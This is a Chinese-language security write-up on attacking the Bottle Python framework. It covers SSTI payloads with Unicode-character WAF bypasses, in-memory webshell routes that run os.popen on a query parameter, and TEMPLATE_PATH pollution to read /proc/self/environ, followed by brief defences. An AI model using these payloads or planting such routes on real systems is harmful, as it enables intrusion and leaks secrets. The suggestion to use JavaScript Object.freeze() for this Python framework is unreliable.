Bottle框架的ssti、内存马、污染深入浅出
字数 1619 2025-08-29 22:41:02
Bottle框架安全漏洞深入分析:SSTI、内存马与原型链污染
1. Bottle框架SSTI漏洞分析
1.1 基本模板语法
Bottle框架自带SimpleTemplate引擎,支持多种模板语法:
{{}}:标准模板语法<%%>:替代语法%:简化语法(需要换行符分隔)
注意:当模板内容嵌入普通文本中(无换行符分隔)时,<%或%会被视为普通文本直接输出。
1.2 特殊字符绕过技术
在Bottle SSTI中,发现可以使用Unicode字符替换特定ASCII字符绕过WAF:
o→º(U+00BA, URL编码: %C2%BA)a→ª(U+00AA, URL编码: %C2%AA)
利用方法:
- 构造payload时使用特殊字符替换
- 在URL编码中删除
%C2部分 - 示例:
/attack?payload={{%BApen(%27/flag%27).read()}}
1.3 斜体字符利用
研究发现Bottle框架对斜体字符处理存在缺陷:
- 原理:Bottle的
touni()函数在Python3下将所有输入转为str类型,不进行严格字符校验 - 利用条件:
- 需要直接传入斜体字符到模板中(非URL编码形式)
- 可通过文件上传等非URL编码方式实现
- 斜体字符生成器:https://exotictext.com/zh-cn/italic/
有效字符:
ª(U+00AA)º(U+00BA)¹(U+00B9)²(U+00B2)³(U+00B3)
其中只有ª和º能正确执行,等效于a和o。
1.4 源码分析
-
模板处理流程:
bottle.template()→SimpleTemplate→render()- 最终通过
exec(self.co, env)执行模板代码
-
关键函数:
touni():输入转换StplParser.translate():模板语法转换flush_text():文本处理process_inline():内联代码处理
-
安全缺陷:
- 缺乏严格的字符过滤
- Unicode字符处理不当
- 执行环境隔离不足
2. Bottle内存马技术
2.1 自定义路由实现RCE
通过自定义路由可以实现内存驻留的Webshell:
@route('/malicious')
def malicious():
return os.popen(request.query.cmd).read()
2.2 路由机制分析
-
route装饰器:
- 默认方法为GET
- 可接受函数、字符串等可调用对象
-
lambda表达式利用:
route('/cmd', 'GET', lambda: os.popen(request.query.cmd).read()) -
hook机制:
after_request等hook点可被利用- 通过
add_hook函数添加恶意hook
2.3 响应头操控
通过继承BaseResponse类或直接操作响应头实现持久化控制:
def malicious():
response.set_header('X-Malicious', 'true')
return "Normal content"
3. 原型链污染攻击
3.1 TEMPLATE_PATH污染
通过污染bottle.TEMPLATE_PATH改变模板渲染路径:
bottle.TEMPLATE_PATH = '/proc/self/'
利用效果:
- 访问
template('environ')将渲染/proc/self/environ - 可读取系统敏感信息
3.2 污染原理分析
-
关键代码:
lookup = kwargs.pop('template_lookup', TEMPLATE_PATH) -
缓存机制:
- 模板未缓存或
DEBUG=True时重新加载 - 直接使用污染后的
TEMPLATE_PATH路径
- 模板未缓存或
-
利用条件:
- 能够控制
TEMPLATE_PATH变量 - 有调用
template()函数的能力
- 能够控制
4. 防御措施
4.1 SSTI防御
- 严格过滤模板输入
- 禁用危险模板语法
- 升级到最新版本
4.2 内存马防御
- 监控路由注册行为
- 限制动态路由创建
- 定期检查已注册路由
4.3 原型链污染防御
- 冻结关键配置对象
- 使用
Object.freeze()保护配置 - 最小化暴露的配置接口
5. 总结
Bottle框架由于其轻量级设计,在安全性方面存在多个关键问题:
- SSTI漏洞利用方式多样,包括特殊字符绕过和斜体字符利用
- 路由机制灵活性导致内存马风险
- 配置对象可被污染导致路径穿越
安全开发中应特别注意这些风险点,采取相应防护措施。